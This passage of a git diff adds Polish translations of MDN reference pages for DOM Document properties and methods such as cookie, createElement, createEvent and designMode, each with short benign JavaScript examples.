mode</i> + ).</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>tryb</i> = document.compatMode +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>tryb</code> jest ciągiem zawierającym "BackCompat" dla trybu zgodności wstecznej lub "CSS1Compat" dla trybu standardów.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">if ( document.compatMode == "BackCompat" ){ + //wykonaj coś dla trybu zgodności +} +</pre> +<p>{{ languages( { "en": "en/DOM/document.compatMode" } ) }}</p> diff --git a/files/pl/web/api/document/cookie/index.html b/files/pl/web/api/document/cookie/index.html new file mode 100644 index 0000000000..a711e9c1d2 --- /dev/null +++ b/files/pl/web/api/document/cookie/index.html @@ -0,0 +1,49 @@ +--- +title: document.cookie +slug: Web/API/Document/cookie +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/cookie +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Pobiera/ustawia listę ciasteczek powiązanych z dokumentem.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>listaCiasteczek</em> = document.cookie +document.cookie = <em>listaCiasteczek</em> +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<ul> + <li><code>listaCiasteczek</code> jest ciągiem zawierającym rozdzieloną średnikami listę ciasteczek.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">// ta funkcja ustawia dwa ciasteczka +// a następnie wyświetla je w ostrzeżeniu +function sgCookie() { + document.cookie = "name=oeschger"; + document.cookie = "favorite_food=tripe"; + alert(document.cookie); +} +// wyświetli: name=oeschger;favorite_food=tripe +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Jeżeli nie ma ciasteczek powiązanych z tym dokumentem, funkcja zwraca pusty ciąg. Zauważ również, że nie możesz użyć tej własności, bu ustawić więcej niż jedno ciasteczko za jednym razem.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-8747038">cookie </a></p> + +<p>{{ languages( { "en": "en/DOM/document.cookie", "es": "es/DOM/document.cookie" } ) }}</p> diff --git a/files/pl/web/api/document/createattribute/index.html b/files/pl/web/api/document/createattribute/index.html new file mode 100644 index 0000000000..ad996d5161 --- /dev/null +++ b/files/pl/web/api/document/createattribute/index.html @@ -0,0 +1,29 @@ +--- +title: document.createAttribute +slug: Web/API/Document/createAttribute +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/Document/createAttribute +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>createAttribute</b> tworzy nowy atrybut w bieżącym elemencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>atrybut</i> = element.createAttribute(<i>nazwa</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>atrybut</code> jest węzłem atrybutu</li> + <li><code>nazwa</code> jest ciągiem znaków zawierającym nazwę atrybutu</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>d = document.getElementById("div1"); +p = d.createAttribute("proportion"); +p.value = "100"; +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zwracany jest węzeł typu <code>Attribute</code>. Kiedy masz już ten węzeł, tak jak w powyzszym przykładzie, możesz ustawić jego wartość za pomocą własności <code>value</code>. DOM nie wymusza typu atrybutów, jakie mogą zostać dodane w ten sposób do konkretnych elementów.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1084891198">createAttribute </a></p> +<p>{{ languages( { "en": "en/DOM/document.createAttribute", "fr": "fr/DOM/document.createAttribute" } ) }}</p> diff --git a/files/pl/web/api/document/createdocumentfragment/index.html b/files/pl/web/api/document/createdocumentfragment/index.html new file mode 100644 index 0000000000..e6bf6e6da3 --- /dev/null +++ b/files/pl/web/api/document/createdocumentfragment/index.html @@ -0,0 +1,43 @@ +--- +title: document.createDocumentFragment +slug: Web/API/Document/createDocumentFragment +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/createDocumentFragment +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Tworzy pusty fragment dokumentu.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">var fragmentDokumentu = document.createDocumentFragment(); +</pre> + +<p><code>fragmentDokumentu</code> jest odniesieniem do pustego obiektu <code>DocumentFragment</code>.</p> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre>var frag = document.createDocumentFragment(); +frag.appendChild(document.createTextNode('Ipsum Lorem')); +document.body.appendChild(frag); +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p><code><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-B63ED1A3">DocumentFragment</a></code> jest minimalnym obiektem dokumentu, który nie posiada rodzica. Obsługuje on następujące metody DOM 2: <code><a href="pl/DOM/element.appendChild">appendChild</a></code>, <code><a href="pl/DOM/element.cloneNode">cloneNode</a></code>, <code><a href="pl/DOM/element.hasAttributes">hasAttributes</a></code>, <code><a href="pl/DOM/element.hasChildNodes">hasChildNodes</a></code>, <code><a href="pl/DOM/element.insertBefore">insertBefore</a></code>, <code><a href="pl/DOM/element.normalize">normalize</a></code>, <code><a href="pl/DOM/element.removeChild">removeChild</a></code>, <code><a href="pl/DOM/element.replaceChild">replaceChild</a></code>.</p> + +<p>Obsługuje on również następujące własności DOM 2: <code><a href="pl/DOM/element.attributes">attributes</a></code>, <code><a href="pl/DOM/element.childNodes">childNodes</a></code>, <code><a href="pl/DOM/element.firstChild">firstChild</a></code>, <code><a href="pl/DOM/element.lastChild">lastChild</a></code>, <code><a href="pl/DOM/element.localName">localName</a></code>, <code><a href="pl/DOM/element.namespaceURI">namespaceURI</a></code>, <code><a href="pl/DOM/element.nextSibling">nextSibling</a></code>, <code><a href="pl/DOM/element.nodeName">nodeName</a></code>, <code><a href="pl/DOM/element.nodeType">nodeType</a></code>, <code><a href="pl/DOM/element.nodeValue">nodeValue</a></code>, <code><a href="pl/DOM/element.ownerDocument">ownerDocument</a></code>, <code><a href="pl/DOM/element.parentNode">parentNode</a></code>, <code><a href="pl/DOM/element.prefix">prefix</a></code>, <code><a href="pl/DOM/element.previousSibling">previousSibling</a></code>, <code><a href="pl/DOM/element.textContent">textContent</a></code>.</p> + +<p>Różne inne metody potrafią pobrać fragment dokumentu jako argument (na przykład metody interfejsu <code><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1950641247">Node</a></code> takie jak <code><a href="pl/DOM/element.appendChild">appendChild</a></code> i <code><a href="pl/DOM/element.insertBefore">insertBefore</a></code>), w przypadku których dodawane lub wstawiane są dzieci fragmentu, nie zaś same fragmenty.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-35CB04B5">createDocumentFragment</a></p> + +<p>{{ languages( { "en": "en/DOM/document.createDocumentFragment" } ) }}</p> diff --git a/files/pl/web/api/document/createelement/index.html b/files/pl/web/api/document/createelement/index.html new file mode 100644 index 0000000000..bf657b4103 --- /dev/null +++ b/files/pl/web/api/document/createelement/index.html @@ -0,0 +1,74 @@ +--- +title: document.createElement +slug: Web/API/Document/createElement +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/createElement +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Tworzy element podanego typu. Zauważ, że zwracana instancja implementuje interfejs Element, zatem można manipulować atrybutami bezpośrednio na zwróconym obiekcie.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre>''element'' = document.createElement(''typ'') +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<ul> + <li><em>element</em>jest obiektem</li> + <li><em>typ</em>jest ciągiem znaków oznaczającym typ tworzonego elementu</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre><html> +<head> +<title>||Praca z elementami||</title> +</head> + +<script type="text/javascript"> +var my_div = null; +var newDiv = null; + +function addElement() +{ + // tworzy nowy element div + // i daje jego zawartość + newDiv = document.createElement("div"); + newDiv.innerHTML = "<h1>Hi there and greetings!</h1>"; + + // add the newly created element and it's content into the DOM + my_div = document.getElementById("org_div1"); + document.body.insertBefore(newDiv, my_div); +} + +</script> + +<body onload="addElement()"> + <div id='org_div1'> The text above has been created dynamically.</div> +</body> +</html> +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Jeżeli znane są atrybuty o domyślnych wartościach, zostaną automatycznie utworzone i przypisane do elementu węzły tychże atrybutów.</p> + +<p>Aby utworzyć element o uściślonej nazwie i URI przestrzeni nazw, użyj metody <strong>createElementNS</strong>.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-2141741547">createElement</a></p> + + + +<div class="noinclude"></div> + +<p>{{ languages( { "en": "en/DOM/document.createElement", "fr": "fr/DOM/document.createElement", "it": "it/DOM/document.createElement", "ja": "ja/DOM/document.createElement", "ko": "ko/DOM/document.createElement" } ) }}</p> diff --git a/files/pl/web/api/document/createevent/index.html b/files/pl/web/api/document/createevent/index.html new file mode 100644 index 0000000000..1064131504 --- /dev/null +++ b/files/pl/web/api/document/createevent/index.html @@ -0,0 +1,134 @@ +--- +title: document.createEvent +slug: Web/API/Document/createEvent +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/createEvent +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Tworzy obiekt obsługi <a href="pl/DOM/event">zdarzenia</a> o określonym typie. Utworzony obiekt powinien zostać najpierw zainicjalizowany, a następnie przekazany do metody <a href="pl/DOM/element.dispatchEvent">dispatchEvent</a> elementu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>var zdarzenie</i> =<i>document</i>.createEvent(<i>typ);</i> +</pre> +<ul> + <li><code>zdarzenie</code> to utworzony obiekt <a href="pl/DOM/event">Event</a>.</li> + <li><code>typ</code> to ciąg oznaczający typ tworzonego zdarzenia. Możliwe typy to m.in.: <code>"UIEvents"</code>, <code>"MouseEvents"</code>, <code>"MutationEvents"</code>, i <code>"HTMLEvents"</code>. Zob. {{ Anch("Uwagi") }}.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<p><a href="/pl/docs/DOM/dispatchEvent_-_przyk%C5%82ad" title="/pl/docs/DOM/dispatchEvent_-_przyk%C5%82ad">dispatchEvent - przykład [pl]</a></p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Nazwy typów zdarzeń, które można przekazać do <code>createEvent</code> określane są przez + <i> + moduły zdarzeń</i> + . Niektóre moduły zdarzeń zdefiniowane są w specyfikacjach DOM Events, niektóre moduły w innych specyfikacjach (jak np. SVG), a pewne typy zdarzeń są specyficzne dla Gecko.</p> +<p>Szczegóły znajdziesz w poniższej tabeli.</p> +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Moduł zdarzeń</th> + <th>Typ do przekazania w <code>createEvent</code></th> + <th>Metoda używana do inicjalizacji zdarzenia</th> + </tr> + <tr style="background-color: #eee;"> + <td colspan="3"><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-eventgroupings">DOM Level 2 Events</a></td> + </tr> + <tr> + <td>Moduł zdarzeń interfejsu użytkownika</td> + <td><code>"UIEvents"</code></td> + <td><a href="pl/DOM/event.initUIEvent">event.initUIEvent</a></td> + </tr> + <tr> + <td>Moduł zdarzeń myszy</td> + <td><code>"MouseEvents"</code></td> + <td><a href="pl/DOM/event.initMouseEvent">event.initMouseEvent</a></td> + </tr> + <tr> + <td>Moduł zdarzeń mutacji</td> + <td><code>"MutationEvents"</code></td> + <td><a href="pl/DOM/event.initMutationEvent">event.initMutationEvent</a></td> + </tr> + <tr> + <td>Moduł zdarzeń HTML</td> + <td><code>"HTMLEvents"</code></td> + <td><a href="pl/DOM/event.initEvent">event.initEvent</a></td> + </tr> + <tr style="background-color: #eee;"> + <td colspan="3"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#Events-eventgroupings">DOM Level 3 Events</a></td> + </tr> + <tr> + <td>Moduł zdarzeń interfejsu użytkownika</td> + <td><code>"UIEvent"</code>, <code>"UIEvents"</code></td> + <td><a href="pl/DOM/event.initUIEvent">event.initUIEvent</a></td> + </tr> + <tr> + <td>Moduł zdarzeń myszy</td> + <td><code>"MouseEvent"</code>, <code>"MouseEvents"</code></td> + <td><a href="pl/DOM/event.initMouseEvent">event.initMouseEvent</a></td> + </tr> + <tr> + <td>Moduł zdarzeń mutacji</td> + <td><code>"MutationEvent"</code>, <code>"MutationEvents"</code></td> + <td><a href="pl/DOM/event.initMutationEvent">event.initMutationEvent</a></td> + </tr> + <tr> + <td>Moduł zdarzeń mutacji nazw (nie zaimplementowany przez Gecko - czerwiec 2006)</td> + <td><code>"MutationNameEvent"</code></td> + <td><a href="pl/DOM/event.initMutationNameEvent">event.initMutationNameEvent</a></td> + </tr> + <tr> + <td>Moduł zdarzeń tekstowych</td> + <td><code>"TextEvent"</code> (Gecko obsługuje też <code>"TextEvents"</code>)</td> + <td><a href="pl/DOM/event.initTextEvent">event.initTextEvent</a></td> + </tr> + <tr> + <td>Moduł zdarzeń klawiatury</td> + <td><code>"KeyboardEvent"</code> (Gecko obsługuje też <code>"KeyEvents"</code>)</td> + <td><a href="pl/DOM/event.initKeyboardEvent">event.initKeyboardEvent</a></td> + </tr> + <tr> + <td>Moduł podstawowych zdarzeń</td> + <td><code>"Event"</code> (Gecko obsługuje też <code>"Events"</code>)</td> + <td><a href="pl/DOM/event.initEvent">event.initEvent</a></td> + </tr> + <tr style="background-color: #eee;"> + <td colspan="3"><a class="external" href="http://www.w3.org/TR/SVG/script.html#DOMInterfaces">SVG 1.1 Scripting</a></td> + </tr> + <tr> + <td rowspan="2">SVG</td> + <td><code>"SVGEvents"</code> (Gecko obsługuje też <code>"SVGEvent"</code>)</td> + <td><a href="pl/DOM/event.initEvent">event.initEvent</a></td> + </tr> + <tr> + <td><code>"SVGZoomEvents"</code> (Gecko obsługuje też <code>"SVGZoomEvent"</code>)</td> + <td><a href="pl/DOM/event.initUIEvent">event.initUIEvent</a></td> + </tr> + <tr style="background-color: #eee;"> + <td colspan="3">Inne typy zdarzeń obsługiwane przez Gecko <span class="comment">Gecko-related information is taken from nsEventDispatcher::CreateEvent code - see lxr.m.o</span></td> + </tr> + <tr> + <td rowspan="3">-</td> + <td><code>"MouseScrollEvents"</code>, <code>"PopupEvents"</code></td> + <td><a href="pl/DOM/event.initMouseEvent">event.initMouseEvent</a></td> + </tr> + <tr> + <td><code>"PopupBlockedEvents"</code></td> + <td><a href="pl/DOM/event.initPopupBlockedEvent">event.initPopupBlockedEvent</a></td> + </tr> + <tr> + <td><code>"XULCommandEvent"</code>, <code>"XULCommandEvents"</code></td> + <td><a href="pl/DOM/event.initCommandEvent">event.initCommandEvent</a></td> + </tr> + </tbody> +</table> +<p>Niektóre zdarzenia mogą być tworzone przy użyciu dwóch nazw typów, ponieważ w specyfikacji DOM Level 3 Events zmieniono nazwy z liczby mnogiej na pojedynczą, pozostawiając nazwy w liczbie mnogiej dla zgodności wstecznej.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-DocumentEvent-createEvent">DOM Level 2 Events: createEvent</a></p> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#Events-DocumentEvent-createEvent">DOM Level 3 Events: createEvent</a></p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/document.createEvent", "es": "es/DOM/document.createEvent", "ja": "ja/DOM/document.createEvent" } ) }}</p> diff --git a/files/pl/web/api/document/createrange/index.html b/files/pl/web/api/document/createrange/index.html new file mode 100644 index 0000000000..75dbacfe83 --- /dev/null +++ b/files/pl/web/api/document/createrange/index.html @@ -0,0 +1,29 @@ +--- +title: document.createRange +slug: Web/API/Document/createRange +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/createRange +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca nowy objekt <code><a href="pl/DOM/range">Range</a></code>.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><var>range</var> = <var>document</var>.createRange(); +</pre> +<p><code>range</code> jest utworzonym objektem <a href="pl/DOM/range">range</a>.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">var range = document.createRange(); +range.setStart(startNode, startOffset); +range.setEnd(endNode, endOffset); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Gdy tylko <code>Range</code> jest utworzony, musisz określić jego punkty graniczne zanim będziesz mógł użyć większości jego metod.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-DocumentRange-method-createRange">DOM Level 2 Range: DocumentRange.createRange</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/document.createRange", "es": "es/DOM/document.createRange" } ) }}</p> diff --git a/files/pl/web/api/document/createtextnode/index.html b/files/pl/web/api/document/createtextnode/index.html new file mode 100644 index 0000000000..1fe0f9bd27 --- /dev/null +++ b/files/pl/web/api/document/createtextnode/index.html @@ -0,0 +1,62 @@ +--- +title: document.createTextNode +slug: Web/API/Document/createTextNode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/createTextNode +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Tworzy nowy węzeł tekstowy.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>var tekst</em> = document.createTextNode(<em>tresc</em>) +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<ul> + <li><code>tekst</code> jest węzłem tekstowym</li> + <li><code>treść</code> jest ciągiem zawierającym dane do umieszczenia w węźle tekstowym.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre><code><!DOCTYPE html> +<html lang="en"> +<head> +<title>createTextNode - przyklad</title> +<script> +function dodajWezelTekstowy(tekst) { + var nowytekst = document.createTextNode(tekst), + p1 = document.getElementById("p1"); + + p1.appendChild(nowytekst); +} +</script> +</head> + +<body> + <button onclick="dodajWezelTekstowy('TAK! ');">TAK!</button> + <button onclick="dodajWezelTekstowy('NIE! ');">NIE!</button> + <button onclick="dodajWezelTekstowy('JASNE! ');">JASNE!</button> + + <hr /> + + <p id="p1">Pierwsza linia paragrafu.</p> +</body> +</html></code></pre> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1975348127">createTextNode </a></p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/document.createTextNode", "fr": "fr/DOM/document.createTextNode", "ko": "ko/DOM/document.createTextNode" } ) }}</p> diff --git a/files/pl/web/api/document/defaultview/index.html b/files/pl/web/api/document/defaultview/index.html new file mode 100644 index 0000000000..905a966998 --- /dev/null +++ b/files/pl/web/api/document/defaultview/index.html @@ -0,0 +1,24 @@ +--- +title: document.defaultView +slug: Web/API/Document/defaultView +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/defaultView +--- +<p>{{ ApiRef() }}</p> +<p> </p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>document.defaultView</b> zwraca odnośnik do domyślnego <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a> dokumentu, lub <code>null</code> jeśli żadny nie jest dostępne</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">var docDView = document.defaultView; +</pre> +<p>Własność tylko do odczytu.</p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p><code>document.defaultView</code> jest częścią interfejsu DOM poziomu 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-DocumentView">DocumentView</a>.</p> +<p><code>document.defaultView</code> jest głównie odnośnikiem do <a href="pl/DOM/window">okna</a> obiektu dla dokumentu, jednakże nie jest to zdefiniowane w specyfikacji i nie można się na tym opierać we wszystkich środowiskach zwłaszcza, że nie wszystkie przeglądarki to implementują. <span class="comment">it would probably be useful to provide concrete examples here</span></p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-DocumentView-defaultView">DOM Level 2 Views: defaultView</a></p> +<p>{{ languages( { "en": "en/DOM/document.defaultView" } ) }}</p> diff --git a/files/pl/web/api/document/designmode/index.html b/files/pl/web/api/document/designmode/index.html new file mode 100644 index 0000000000..3956fa8d9e --- /dev/null +++ b/files/pl/web/api/document/designmode/index.html @@ -0,0 +1,53 @@ +--- +title: Document.designMode +slug: Web/API/Document/designMode +translation_of: Web/API/Document/designMode +--- +<div>{{ApiRef()}}</div> + +<p><strong><code>document.designMode</code></strong> kontroluje czy dokument może być edytowany. Dopuszczalne wartości to <code>"on"</code> (włączona edycja) oraz <code>"off"</code> (wyłączona edycja). Zgodnie ze specyfikacją, wartość domyślna to <code>"off"</code>. Firefox stosuje ten standard. Dla wcześniejszych wersji Chrome oraz IE domyślną wartością było <code>"inherit"</code>. Od wersji Chrome 43, standardem jest wartość <code>"off"</code>, a <code>"inherit"</code> nie jest wspierane. W IE 6-10, wartość jest używana naprzemiennie.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">var mode = document.designMode; +document.designMode = "on" || "off";</pre> + +<h2 id="Przykład">Przykład</h2> + +<p>Spraw aby element {{HTMLElement("iframe")}} był edytowalny:</p> + +<pre class="brush: js">iframeNode.contentDocument.designMode = "on"; +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Definicja</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<div class="hidden">Tablica kompatybilności jest na tej stronie generowana z danych strukturalnych. Jeżeli chcesz przyczynić się do rozwoju danych wejdź na <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam zapytanie.</div> + +<p>{{Compat("api.Document.designMode")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Edycja "Rich-Text" w witrynie Mozilla</a></li> + <li>{{domxref("HTMLElement.contentEditable")}}</li> + <li><a href="https://msdn.microsoft.com/en-us/library/ms533720(v=vs.85).aspx">Właściwości designMode</a> na stronie MSDN</li> +</ul> diff --git a/files/pl/web/api/document/doctype/index.html b/files/pl/web/api/document/doctype/index.html new file mode 100644 index 0000000000..4894005b15 --- /dev/null +++ b/files/pl/web/api/document/doctype/index.html @@ -0,0 +1,21 @@ +--- +title: document.doctype +slug: Web/API/Document/doctype +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/doctype +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca definicję typu bieżącego dokumentu (DTD).</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>ciąg</i> = document.doctype +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Atrybut <b>doctype</b> jest tylko do odczytu. Jeżeli nie ma DTD w dokumencie, zwrócone zostaje NULL.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-B63ED1A31">docType</a></p> +<p>{{ languages( { "en": "en/DOM/document.doctype" } ) }}</p> diff --git a/files/pl/web/api/document/documentelement/index.html b/files/pl/web/api/document/documentelement/index.html new file mode 100644 index 0000000000..bc729c829f --- /dev/null +++ b/files/pl/web/api/document/documentelement/index.html @@ -0,0 +1,60 @@ +--- +title: document.documentElement +slug: Web/API/Document/documentElement +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/documentElement +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><strong>Tylko do odczytu</strong></p> + +<p>Zwraca <code><a href="pl/DOM/element">Element</a></code> będący bezpośrednim dzieckiem <a href="pl/DOM/document">document</a> (na przykład dla dokumentów HTML jest to element <code><html></code>).</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">var<em>element</em> = document.documentElement; +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">actual_doc = document.documentElement; +first_tier = actual_doc.childNodes; +//first_tier to bezpośrednie dzieci HTML +for (var i = 0; i < first_tier.length; i++) { + //zrób cos z każdym dzieckiem HTML + //poprzez first_tier[i] +} +</pre> + +<pre class="eval">var rootElement = document.documentElement; +var firstTier = rootElement.childNodes; +// firstTier jest NodeList bezpośredniego dziecka elementu głównego +for (var i = 0; i < firstTier.length; i++) { + // zrób coś z każdym dzieckiem HTML głównego elementu + // as firstTier[i] +} +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Ta własność tylko do odczytu jest udogodnieniem w przechwytywaniu elementu HTML, powiązanego z każdym prawidłowym dokumentem HTML.</p> + +<p>Powyżej typowy przykład: potrzebujesz w rzeczywistości elementu HTML, aby mieć dostęp do wszystkich jego dzieci, więc używasz tej własności obiektu <code>document</code>, aby go przejąć.</p> + +<p>Zauważ też, że zazwyczaj <code>document</code> zawiera jeden węzeł-dziecko - HTML - który sam zawiera wszystkie elementy faktycznego dokumentu jako listę węzłów-dzieci (<code>nodeList</code>).</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-87CD092">DOM Level 2 Core: Document.documentElement</a></p> + + + +<div class="noinclude"></div> + +<p>{{ languages( { "en": "en/DOM/document.documentElement", "es": "es/DOM/document.documentElement", "fr": "fr/DOM/document.documentElement", "ja": "ja/DOM/document.documentElement" } ) }}</p> diff --git a/files/pl/web/api/document/domain/index.html b/files/pl/web/api/document/domain/index.html new file mode 100644 index 0000000000..e64ad2e641 --- /dev/null +++ b/files/pl/web/api/document/domain/index.html @@ -0,0 +1,30 @@ +--- +title: document.domain +slug: Web/API/Document/domain +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/domain +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>domain</b> pobiera/ustawia domenę bieżącego dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>ciąg</i> = document.domain +document.domain =<i>ciąg</i> +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">bad_domain = "www.love.com"; +if ( document.domain == bad_domain ) { + window.close(); +} +// jeśli dokument to www.love.com/good.html, +// to skrypt zamknie okno +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Właściwość zwraca NULL jezeli nie można zidentyfikować serwera. W specyfikacji DOM własność tą oznaczono jako tylko do oczytu, jednak Mozilla pozwala na jej modyfikację.</p> +<h3 